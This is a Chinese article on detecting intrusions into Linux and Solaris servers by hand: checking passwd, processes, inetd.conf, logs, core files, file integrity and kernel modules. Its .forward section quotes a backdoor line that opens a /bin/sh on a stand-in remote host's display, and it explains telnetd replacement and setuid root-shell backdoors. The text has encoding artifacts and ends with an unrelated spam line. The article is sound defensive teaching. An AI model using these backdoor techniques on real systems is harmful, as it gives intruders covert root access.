0
  • 聊天消息
  • 系統消息
  • 評論與回復
登錄后你可以
  • 下載海量資料
  • 學(xué)習在線(xiàn)課程
  • 觀(guān)看技術(shù)視頻
  • 寫(xiě)文章/發(fā)帖/加入社區
會(huì )員中心
創(chuàng )作中心

完善資料讓更多小伙伴認識你,還能領(lǐng)取20積分哦,立即完善>

3天內不再提示

解析Linux如何判斷自己的服務(wù)器是否被入侵的檢測方法

馬哥Linux運維 ? 2018-01-13 10:27 ? 次閱讀

如何判斷自己的服務(wù)器是否被入侵了呢??jì)H僅靠?jì)芍皇质遣粔虻?,但兩只手也能起到一些作用,我們先?lái)看看UNIX系統上一些入侵檢測方法,以LINUX和solaris為例。

1、檢查系統密碼文件

首先從明顯的入手,查看一下passwd文件,ls –l /etc/passwd查看文件修改的日期。

檢查一下passwd文件中有哪些特權用戶(hù),系統中uid為0的用戶(hù)都會(huì )被顯示出來(lái)。

順便再檢查一下系統里有沒(méi)有空口令帳戶(hù):

2、查看一下進(jìn)程,看看有沒(méi)有奇怪的進(jìn)程

重點(diǎn)查看進(jìn)程:

ps –aef | grep inetd

inetd是UNIX系統的守護進(jìn)程,正常的inetd的pid都比較靠前,如果你看到輸出了一個(gè)類(lèi)似inetd –s /tmp/.xxx之類(lèi)的進(jìn)程,著(zhù)重看inetd –s后面的內容。在正常情況下,LINUX系統中的inetd服務(wù)后面是沒(méi)有-s參數的,當然也沒(méi)有用inetd去啟動(dòng)某個(gè)文件;而solaris系統中也僅僅是inetd –s,同樣沒(méi)有用inetd去啟動(dòng)某個(gè)特定的文件;如果你使用ps命令看到inetd啟動(dòng)了某個(gè)文件,而你自己又沒(méi)有用inetd啟動(dòng)這個(gè)文件,那就說(shuō)明已經(jīng)有人入侵了你的系統,并且以root權限起了一個(gè)簡(jiǎn)單的后門(mén)。

輸入ps –aef 查看輸出信息,尤其注意有沒(méi)有以./xxx開(kāi)頭的進(jìn)程。一旦發(fā)現異樣的進(jìn)程,經(jīng)檢查為入侵者留下的后門(mén)程序,立即運行kill –9 pid 開(kāi)殺死該進(jìn)程,然后再運行ps –aef查看該進(jìn)程是否被殺死;一旦此類(lèi)進(jìn)程出現殺死以后又重新啟動(dòng)的現象,則證明系統被人放置了自動(dòng)啟動(dòng)程序的腳本。這個(gè)時(shí)候要進(jìn)行仔細查找:find / -name 程序名 –print,假設系統真的被入侵者放置了后門(mén),根據找到的程序所在的目錄,會(huì )找到很多有趣的東東J

UNIX下隱藏進(jìn)程有的時(shí)候通過(guò)替換ps文件來(lái)做,檢測這種方法涉及到檢查文件完整性,稍后我們再討論這種方法。接下來(lái)根據找到入侵者在服務(wù)器上的文件目錄,一步一步進(jìn)行追蹤。

3、檢查系統守護進(jìn)程

檢查/etc/inetd.conf文件,輸入:cat /etc/inetd.conf | grep –v “^#”,輸出的信息就是你這臺機器所開(kāi)啟的遠程服務(wù)。

一般入侵者可以通過(guò)直接替換in.xxx程序來(lái)創(chuàng )建一個(gè)后門(mén),比如用/bin/sh 替換掉in.telnetd,然后重新啟動(dòng)inetd服務(wù),那么telnet到服務(wù)器上的所有用戶(hù)將不用輸入用戶(hù)名和密碼而直接獲得一個(gè)rootshell。

4、檢查網(wǎng)絡(luò )連接和監聽(tīng)端口

輸入netstat -an,列出本機所有的連接和監聽(tīng)的端口,查看有沒(méi)有非法連接。

輸入netstat –rn,查看本機的路由、網(wǎng)關(guān)設置是否正確。

輸入 ifconfig –a,查看網(wǎng)卡設置。

5、檢查系統日志

命令last | more查看在正常情況下登錄到本機的所有用戶(hù)的歷史記錄。但last命令依賴(lài)于syslog進(jìn)程,這已經(jīng)成為入侵者攻擊的重要目標。入侵者通常會(huì )停止系統的syslog,查看系統syslog進(jìn)程的情況,判斷syslog上次啟動(dòng)的時(shí)間是否正常,因為syslog是以root身份執行的,如果發(fā)現syslog被非法動(dòng)過(guò),那說(shuō)明有重大的入侵事件。

在linux下輸入ls –al /var/log

在solaris下輸入 ls –al /var/adm

檢查wtmp utmp,包括messgae等文件的完整性和修改時(shí)間是否正常,這也是手工擦除入侵痕跡的一種方法。

6、檢查系統中的core文件

通過(guò)發(fā)送畸形請求來(lái)攻擊服務(wù)器的某一服務(wù)來(lái)入侵系統是一種常規的入侵方法,典型的RPC攻擊就是通過(guò)這種方式。這種方式有一定的成功率,也就是說(shuō)它并不能100%保證成功入侵系統,而且通常會(huì )在服務(wù)器相應目錄下產(chǎn)生core文件,全局查找系統中的core文件,輸入find / -name core –exec ls –l {} ; 依據core所在的目錄、查詢(xún)core文件來(lái)判斷是否有入侵行為。

7、.rhosts和.forward

這是兩種比較著(zhù)名的后門(mén)文件,如果想檢查你的系統是否被入侵者安裝了后門(mén),不妨全局查找這兩個(gè)文件:

find/-name“.rhosts”–print

find/-name“.forward”–print

在某用戶(hù)的$HOME下,.rhosts文件中僅包含兩個(gè)+號是非常危險的,如果你的系統上開(kāi)了513端口(rlogin端口,和telnet作用相同),那么任意是誰(shuí)都可以用這個(gè)用戶(hù)登錄到你的系統上而不需要任何驗證。

Unix下在.forward文件里放入命令是重新獲得訪(fǎng)問(wèn)的常用方法在某一 用戶(hù)$HOME下的.forward可能設置如下:

username|"/usr/local/X11/bin/xterm-disphacksys.other.dom:0.0–e/bin/sh"

這種方法的變形包括改變系統的mail的別名文件(通常位于/etc/aliases). 注意這只是一種簡(jiǎn)單的變換. 更為高級的能夠從.forward中運行簡(jiǎn)單腳本實(shí)現在標準輸入執行任意命令(小部分預處理后).利用smrsh可以有效的制止這種后門(mén)(雖然如果允許可以自運行的elm's filter或procmail類(lèi)程序, 很有可能還有問(wèn)題。在Solaris系統下,如果你運行如下命令:

ln-s/var/mail/luser~/.forward

然后設置vacation有效,那么/var/mail/luser就會(huì )被拷貝到~/.forward,同時(shí)會(huì )附加"|/usr/bin/vacation me",舊的symlink被移到~/.forward..BACKUP中。直接刪除掉這兩個(gè)文件也可以。

8、檢查系統文件完整性

檢查文件的完整性有多種方法,通常我們通過(guò)輸入ls –l 文件名來(lái)查詢(xún)和比較文件,這種方法雖然簡(jiǎn)單,但還是有一定的實(shí)用性。但是如果ls文件都已經(jīng)被替換了就比較麻煩。在LINUX下可以用rpm –V `rpm –qf 文件名` 來(lái)查詢(xún),國家查詢(xún)的結果是否正常來(lái)判斷文件是否完整。在LINUX下使用rpm來(lái)檢查文件的完整性的方法也很多,這里不一一贅述,可以man rpm來(lái)獲得更多的格式。

UNIX系統中,/bin/login是被入侵者經(jīng)常替換作為后門(mén)的文件,接下來(lái)談一下login后門(mén) :

UNIX里,Login程序通常用來(lái)對telnet來(lái)的用戶(hù)進(jìn)行口令驗證。入侵者獲取login的源代碼并修改,使它在比較輸入口令與存儲口令時(shí)先檢查后門(mén)口令。如果用戶(hù)敲入后門(mén)口令,它將忽視管理員設置的口令讓你長(cháng)驅直入:這將允許入侵者進(jìn)入任何賬號,甚至是root目錄。由于后門(mén)口令是在用戶(hù)真實(shí)登錄并被日志記錄到utmp和wtmP前產(chǎn)生的一個(gè)訪(fǎng)問(wèn),所以入侵者可以登錄獲取shell卻不會(huì )暴露該賬號。管理員注意到這種后門(mén)后,使用”strings”命令搜索login程序以尋找文本信息。許多情況下后門(mén)口令會(huì )原形畢露。入侵者又會(huì )開(kāi)始加密或者更改隱藏口令,使strings命令失效。所以許多管理員利用MD5校驗和檢測這種后門(mén)。UNIX系統中有md5sum命令,輸入md5sum 文件名檢查該文件的md5簽名。它的使用格式如下:md5sum –b 使用二進(jìn)制方式閱讀文件;md5sum –c 逆向檢查MD5簽名;md5sum –t 使用文本方式閱讀文件。

在前面提到過(guò)守護進(jìn)程,對于守護進(jìn)程配置文件inetd.conf中沒(méi)有被注釋掉的行要進(jìn)行仔細比較,舉個(gè)簡(jiǎn)單的例子,如果你開(kāi)放了telnet服務(wù),守護進(jìn)程配置文件中就會(huì )有一句:telnet stream tcp nowait root /usr/sbin/in.telnetd in.telnetd

可以看到它所使用的文件是 /usr/sbin/in.telnetd,檢查該文件的完整性,入侵者往往通過(guò)替換守護進(jìn)程中允許的服務(wù)文件來(lái)為自己創(chuàng )建一個(gè)后門(mén)。

LINUX系統中的/etc/crontab也是經(jīng)常被入侵者利用的一個(gè)文件,檢查該文件的完整性,可以直接cat /etc/crontab,仔細閱讀該文件有沒(méi)有被入侵者利用來(lái)做其他的事情。

不替換login等文件而直接使用進(jìn)程來(lái)啟動(dòng)后門(mén)的方法有一個(gè)缺陷,即系統一旦重新啟動(dòng),這個(gè)進(jìn)程就被殺死了,所以得讓這個(gè)后門(mén)在系統啟動(dòng)的時(shí)候也啟動(dòng)起來(lái)。通常通過(guò)檢查/etc/rc.d下的文件來(lái)查看系統啟動(dòng)的時(shí)候是不是帶有后門(mén)程序;這個(gè)方法怎么有點(diǎn)象查windows下的trojan?

說(shuō)到這里,另外提一下,如果在某一目錄下發(fā)現有屬性為這樣的文件:-rwsr-xr-x 1 root root xxx .sh,這個(gè)表明任何用戶(hù)進(jìn)來(lái)以后運行這個(gè)文件都可以獲得一個(gè)rootshell,這就是setuid文件。運行 find –perm 4000 –print對此類(lèi)文件進(jìn)行全局查找,然后刪除這樣的文件。

9、檢查內核級后門(mén)

如果你的系統被人安裝了這種后門(mén),通常都是比較討厭的,我常常就在想,遇到這種情況還是重新安裝系統算了J,言歸正傳,首先,檢查系統加載的模塊,在LINUX系統下使用lsmod命令,在solaris系統下使用modinfo命令來(lái)查看。這里需要說(shuō)明的是,一般默認安裝的LINUX加載的模塊都比較少,通常就是網(wǎng)卡的驅動(dòng);而solaris下就很多,沒(méi)別的辦法,只有一條一條地去分析。對內核進(jìn)行加固后,應禁止插入或刪除模塊,從而保護系統的安全,否則入侵者將有可能再次對系統調用進(jìn)行替換。我們可以通過(guò)替換create_module()和delete_module()來(lái)達到上述目的。

另外,對這個(gè)內核進(jìn)行加固模塊時(shí)應盡早進(jìn)行,以防系統調用已經(jīng)被入侵者替換。如果系統被加載了后門(mén)模塊,但是在模塊列表/proc/module里又看不到它們,有可能是使用了hack工具來(lái)移除加載的模塊,大名鼎鼎的knark工具包就有移除加載模塊的工具。出現這種情況,需要仔細查找/proc目錄,根據查找到的文件和經(jīng)驗來(lái)判斷被隱藏和偽裝的進(jìn)程。Knark后門(mén)模塊就在/proc/knark目錄,當然可能這個(gè)目錄是隱藏的。

10、手工入侵檢測的缺陷

上面談了一些手工入侵檢測的方法,但這些方式有一定的缺陷,有的甚至是不可避免的缺陷,這就是為什么說(shuō)手工檢測是“體力活”的原因。我們先來(lái)看看這些缺陷:

1)手工入侵檢測只能基于主機,也就是說(shuō)所有的入侵檢測工作只能在操作系統下面完成,這是它固有的缺陷;基本上所有凌駕于操作系統之外的入侵行為統統無(wú)法探測得到。網(wǎng)絡(luò )級的入侵,交換機、路由器上面的入侵和攻擊行為,作為服務(wù)器的操作系統都無(wú)法得知;信息已經(jīng)從主機發(fā)送出去了,如果在傳送的介質(zhì)當中被攔截,主機的操作系統是永遠無(wú)動(dòng)于衷的。

2)手工的入侵檢測要求精通操作系統,并且漏洞庫資料的刷新要快;在做一個(gè)網(wǎng)管的同時(shí)要做一個(gè)黑客??梢哉f(shuō)經(jīng)驗的積累永遠跟不上全世界漏洞資料的更新,難保系統不被新的漏洞所侵入。

3)手工入侵檢測只是“就事論事”,根據發(fā)生的某一情況判斷入侵事件,再作出相應的對應和防范措施,而無(wú)法預先根據入侵者的探測行為作出對攻擊事件的描述,定義事件級別,在不防礙系統正常工作的情況下阻止下一步對系統的入侵行為。

4)可以通過(guò)手工入侵檢測發(fā)現主機上的某些漏洞,進(jìn)而作出相應的安全措施。但卻避免不了一種現象:無(wú)法避免兩個(gè)入侵者利用同一個(gè)漏洞攻擊主機,即無(wú)法判斷攻擊模式來(lái)切斷入侵行為。

5)綜上所述,手工的入侵檢測行為對于系統安全來(lái)說(shuō)只是治標而不治本,多半還是依靠管理員的技巧和經(jīng)驗來(lái)增強系統的安全性,沒(méi)有,也不可能形成真正的安全體系,雖然聊勝于無(wú),可以檢測和追蹤到某些入侵行為,但如果碰上同樣精通系統的入侵者就很難抓住蹤跡了。

11、入侵檢測系統的比較

搭建真正的安全體系需要入侵檢測系統—IDS,一個(gè)優(yōu)秀的入侵檢測系統輔以系統管理員的技巧和經(jīng)驗可以形成真正的安全體系,有效判斷和切斷入侵行為,真正保護主機、資料。人們有時(shí)候會(huì )以為ISS的realsecure是優(yōu)秀的入侵檢測系統,其實(shí)不然,realsecure帶有一定的缺陷,不談它對事件的誤報、漏報和錯報,首先它是一個(gè)英文的軟件,使用和熟悉起來(lái)有一定的難度。而且由于是外國人的軟件,很多hack對realsecure有深入的研究,已經(jīng)發(fā)掘出它的一些漏洞,甚至是固有漏洞,我就曾經(jīng)測試出有的攻擊手段可以令realsecure癱瘓。

再者,realsecure也是架設在服務(wù)器操作系統之上的,操作系統停止工作,同樣令之停止工作,換句話(huà)說(shuō),很簡(jiǎn)單,攻擊者攻擊的目標往往就是realsecure本身。設想,假設你的系統依賴(lài)于入侵檢測系統,而入侵檢測系統被攻擊者搞掉,那你的系統將大門(mén)敞開(kāi),任由出入,后果不堪設想。

聲明:本文內容及配圖由入駐作者撰寫(xiě)或者入駐合作網(wǎng)站授權轉載。文章觀(guān)點(diǎn)僅代表作者本人,不代表電子發(fā)燒友網(wǎng)立場(chǎng)。文章及其配圖僅供工程師學(xué)習之用,如有內容侵權或者其他違規問(wèn)題,請聯(lián)系本站處理。 舉報投訴
  • Linux
    +關(guān)注

    關(guān)注

    87

    文章

    11026

    瀏覽量

    207158
  • 服務(wù)器
    +關(guān)注

    關(guān)注

    12

    文章

    8304

    瀏覽量

    83230
  • Solaris
    +關(guān)注

    關(guān)注

    0

    文章

    6

    瀏覽量

    7874

原文標題:Linux如何判斷自己的服務(wù)器是否被入侵

文章出處:【微信號:magedu-Linux,微信公眾號:馬哥Linux運維】歡迎添加關(guān)注!文章轉載請注明出處。

收藏 人收藏

    評論

    相關(guān)推薦

    linux服務(wù)器和windows服務(wù)器

    和適用性。 首先,Linux服務(wù)器是一種基于開(kāi)源的操作系統,其內核是由許多個(gè)人和組織共同開(kāi)發(fā)和維護的。它具有高度的穩定性和安全 性。由于Linux操作系統的開(kāi)放性,用戶(hù)可以根據自己的需
    發(fā)表于 02-22 15:46

    [分享]用獨立服務(wù)器的站長(cháng)常犯的錯誤

    服務(wù)器裝完了系統都有個(gè)默認的密碼的,不修改的話(huà)很容易被黑。4、請用檢測軟件查看您服務(wù)器的硬件使用檢測軟件可以得到你服務(wù)器中大部分硬件的品牌
    發(fā)表于 03-16 19:15

    [轉帖]用獨立服務(wù)器的站長(cháng)常犯的錯誤

    服務(wù)器裝完了系統都有個(gè)默認的密碼的,不修改的話(huà)很容易被黑。4、請用檢測軟件查看您服務(wù)器的硬件使用檢測軟件可以得到你服務(wù)器中大部分硬件的品牌
    發(fā)表于 03-18 15:53

    用獨立服務(wù)器的站長(cháng)常犯的錯誤

    服務(wù)器裝完了系統都有個(gè)默認的密碼的,不修改的話(huà)很容易被黑。4、請用檢測軟件查看您服務(wù)器的硬件使用檢測軟件可以得到你服務(wù)器中大部分硬件的品牌
    發(fā)表于 03-19 12:02

    用獨立服務(wù)器的站長(cháng)常犯的錯誤

    服務(wù)器裝完了系統都有個(gè)默認的密碼的,不修改的話(huà)很容易被黑。4、請用檢測軟件查看您服務(wù)器的硬件使用檢測軟件可以得到你服務(wù)器中大部分硬件的品牌
    發(fā)表于 03-19 12:04

    用獨立服務(wù)器的站長(cháng)常犯的錯誤

    服務(wù)器裝完了系統都有個(gè)默認的密碼的,不修改的話(huà)很容易被黑。4、請用檢測軟件查看您服務(wù)器的硬件使用檢測軟件可以得到你服務(wù)器中大部分硬件的品牌
    發(fā)表于 03-20 12:04

    寶界科技WEB服務(wù)器立體防御解決方案

    ,與網(wǎng)絡(luò )層設備防火墻、入侵檢測系統進(jìn)行互動(dòng),一旦發(fā)現攻擊篡改行為立即告知防火墻、入侵檢測系統,由它們自動(dòng)判斷攻擊源,實(shí)時(shí)切斷其網(wǎng)絡(luò )鏈接。 汲
    發(fā)表于 05-17 14:01

    寶界科技WEB服務(wù)器立體防御解決方案

    ,與網(wǎng)絡(luò )層設備防火墻、入侵檢測系統進(jìn)行互動(dòng),一旦發(fā)現攻擊篡改行為立即告知防火墻、入侵檢測系統,由它們自動(dòng)判斷攻擊源,實(shí)時(shí)切斷其網(wǎng)絡(luò )鏈接。 汲
    發(fā)表于 08-19 11:02

    企業(yè)面試問(wèn)答:Linux服務(wù)器如何防止中木馬?

    )。5、對重要配置文件、命令和WEB配置等文件做md5指紋及備份。6、安裝殺毒軟件clamav等,定期監測查殺木馬。7、配置服務(wù)器防火墻及入侵檢測服務(wù)。8、監控
    發(fā)表于 05-25 15:51

    如何使用tcp連接自己搭建的服務(wù)器?

    大家好,我想使用tcp連接自己搭建的服務(wù)器 這個(gè)服務(wù)器不是本地local的IP4而是有域名的,類(lèi)似espslr.*****.com,端口是8591 我使用examples\protocols
    發(fā)表于 03-07 06:58

    入侵服務(wù)器的癥狀分析與應對方法

    本指南中所謂的服務(wù)器入侵或者說(shuō)被黑了的意思,是指未經(jīng)授權的人或程序為了自己的目的登錄到服務(wù)器上去并使用其計算資源,通常會(huì )產(chǎn)生不好的影響。
    的頭像 發(fā)表于 12-25 10:26 ?3656次閱讀

    判斷Linux庫文件編譯時(shí)是否運用-g選項的方法

    判斷Linux庫文件編譯時(shí)是否運用-g選項的方法
    的頭像 發(fā)表于 06-22 08:40 ?3175次閱讀
    <b class='flag-5'>判斷</b><b class='flag-5'>Linux</b>庫文件編譯時(shí)<b class='flag-5'>是否</b>運用-g選項的<b class='flag-5'>方法</b>

    如何鑒別Linux服務(wù)器是否入侵

    隨著(zhù)開(kāi)源產(chǎn)品的越來(lái)越盛行,作為一個(gè)Linux運維工程師,能夠清晰地鑒別異常機器是否已經(jīng)被入侵了顯得至關(guān)重要,個(gè)人結合自己的工作經(jīng)歷,整理了幾種常見(jiàn)的機器被黑情況供參考。
    的頭像 發(fā)表于 03-16 10:08 ?1162次閱讀

    服務(wù)器入侵挖礦的過(guò)程與解決方法

    常在河邊走,哪能不濕鞋。自認為安全防范意識不錯,沒(méi)想到服務(wù)器入侵挖礦的事情也能落到自己頭上。
    的頭像 發(fā)表于 07-22 16:47 ?6324次閱讀

    服務(wù)器入侵現象、排查和處理步驟

    近期有一個(gè)朋友的服務(wù)器(自己做了網(wǎng)站)好像遭遇了入侵,具體現象是: 服務(wù)器 CPU 資源長(cháng)期 100%,負載較高。 服務(wù)器上面的
    發(fā)表于 03-22 10:56 ?379次閱讀
    <b class='flag-5'>服務(wù)器</b><b class='flag-5'>入侵</b>現象、排查和處理步驟
    亚洲欧美日韩精品久久_久久精品AⅤ无码中文_日本中文字幕有码在线播放_亚洲视频高清不卡在线观看